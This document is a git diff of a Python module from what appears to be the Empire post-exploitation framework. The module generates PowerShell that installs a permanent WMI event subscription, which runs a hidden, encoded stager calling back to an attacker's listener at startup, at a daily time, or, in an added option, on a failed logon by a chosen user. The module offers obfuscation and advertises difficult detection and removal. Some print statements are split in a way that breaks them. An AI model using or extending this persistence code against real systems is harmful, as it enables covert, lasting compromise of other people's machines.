diff --git a/lib/modules/powershell/persistence/elevated/wmi.py b/lib/modules/powershell/persistence/elevated/wmi.py index 9b68e0c..2c3d5b6 100644 --- a/lib/modules/powershell/persistence/elevated/wmi.py +++ b/lib/modules/powershell/persistence/elevated/wmi.py @@ -1,8 +1,8 @@ import os from lib.common import helpers -class Module: +class Module: def __init__(self, mainMenu, params=[]): self.info = { @@ -10,20 +10,21 @@ class Module: 'Author': ['@mattifestation', '@harmj0y'], - 'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'), + 'Description': ( + 'Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'), - 'Background' : False, + 'Background': False, - 'OutputExtension' : None, - - 'NeedsAdmin' : True, + 'OutputExtension': None, - 'OpsecSafe' : False, + 'NeedsAdmin': True, - 'Language' : 'powershell', + 'OpsecSafe': False, + + 'Language': 'powershell', + + 'MinLanguageVersion': '2', - 'MinLanguageVersion' : '2', - 'Comments': [ 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' ] @@ -33,55 +34,60 @@ class Module: self.options = { # format: # value_name : {description, required, default_value} - 'Agent' : { - 'Description' : 'Agent to run module on.', - 'Required' : True, - 'Value' : '' + 'Agent': { + 'Description': 'Agent to run module on.', + 'Required': True, + 'Value': '' }, - 'Listener' : { - 'Description' : 'Listener to use.', - 'Required' : False, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to use.', + 'Required': True, + 'Value': '' }, - 'DailyTime' : { - 'Description' : 'Daily time to trigger the script (HH:mm).', - 'Required' : False, - 'Value' : '' + 'DailyTime': { + 'Description': 'Daily time to trigger the script (HH:mm).', + 'Required': False, + 'Value': '' }, - 'AtStartup' : { - 'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.', - 'Required' : False, - 'Value' : 'True' + 'AtStartup': { + 'Description': 'Switch. Trigger script (within 5 minutes) of system startup.', + 'Required': False, + 'Value': 'True' }, - 'SubName' : { - 'Description' : 'Name to use for the event subscription.', - 'Required' : True, - 'Value' : 'Updater' - }, - 'ExtFile' : { - 'Description' : 'Use an external file for the payload instead of a stager.', - 'Required' : False, - 'Value' : '' + 'FailedLogon': { + 'Description': 'Trigger script with a failed logon attempt from a specified user', + 'Required': False, + 'Value': '' }, - 'Cleanup' : { - 'Description' : 'Switch. Cleanup the trigger and any script from specified location.', - 'Required' : False, - 'Value' : '' + 'SubName': { + 'Description': 'Name to use for the event subscription.', + 'Required': True, + 'Value': 'Updater' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ExtFile': { + 'Description': 'Use an external file for the payload instead of a stager.', + 'Required': False, + 'Value': '' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Cleanup': { + 'Description': 'Switch. Cleanup the trigger and any script from specified location.', + 'Required': False, + 'Value': '' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' + }, + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' + }, + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -95,15 +101,15 @@ class Module: if option in self.options: self.options[option]['Value'] = value - def generate(self, obfuscate=False, obfuscationCommand=""): - + listenerName = self.options['Listener']['Value'] - + # trigger options dailyTime = self.options['DailyTime']['Value'] atStartup = self.options['AtStartup']['Value'] subName = self.options['SubName']['Value'] + failedLogon = self.options['FailedLogon']['Value'] # management options extFile = self.options['ExtFile']['Value'] @@ -119,16 +125,17 @@ class Module: if cleanup.lower() == 'true': # commands to remove the WMI filter and subscription - script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;" - script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;" - script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" + script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='" + subName + "'\"| Remove-WmiObject;" + script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='" + subName + "'\" | Remove-WmiObject;" + script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '" + subName + "'} | Remove-WmiObject;" script += "'WMI persistence removed.'" if obfuscate: - script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) + script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, + obfuscationCommand=obfuscationCommand) return script if extFile != '': - # read in an external file as the payload and build a + # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') @@ -140,64 +147,80 @@ class Module: statusMsg += "using external file " + extFile else: - print helpers.color("[!] File does not exist: " + extFile) + print + helpers.color("[!] File does not exist: " + extFile) return "" else: if listenerName == "": - print helpers.color("[!] Either an ExtFile or a Listener must be specified") + print + helpers.color("[!] Either an ExtFile or a Listener must be specified") return "" # if an external file isn't specified, use a listener elif not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script - print helpers.color("[!] Invalid listener: " + listenerName) + print + helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) - + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, + userAgent=userAgent, proxy=proxy, + proxyCreds=proxyCreds) + encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(encScript) > 8190: - print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.") + print + helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.") return "" # built the command that will be triggered triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript - - if dailyTime != '': - + + if failedLogon != '': + + # Enable failed logon auditing + script = "auditpol /set /subcategory:Logon /failure:enable;" + + # create WMI event filter for failed logon + script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{Name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" + failedLogon + "%'\"}; " + statusMsg += " with trigger upon failed logon by " + failedLogon + + elif dailyTime != '': + parts = dailyTime.split(":") - + if len(parts) < 2: - print helpers.color("[!] Please use HH:mm format for DailyTime") + print + helpers.color("[!] Please use HH:mm format for DailyTime") return "" hour = parts[0] minutes = parts[1] # create the WMI event filter for a system time - script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = " + hour + " AND TargetInstance.Minute= " + minutes + " GROUP WITHIN 60\"};" statusMsg += " WMI subscription daily trigger at " + dailyTime + "." else: # create the WMI event filter for OnStartup - script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" statusMsg += " with OnStartup WMI subsubscription trigger." - # add in the event consumer to launch the encrypted script contents - script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" + script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + subName + "';CommandLineTemplate=\"" + triggerCmd + "\";RunInteractively='false'};" # bind the filter and event consumer together - script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" + script += " Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" - - script += "'WMI persistence established "+statusMsg+"'" + script += "'WMI persistence established " + statusMsg + "'" if obfuscate: - script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) - return script + script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, + obfuscationCommand=obfuscationCommand) + + return script \ No newline at end of file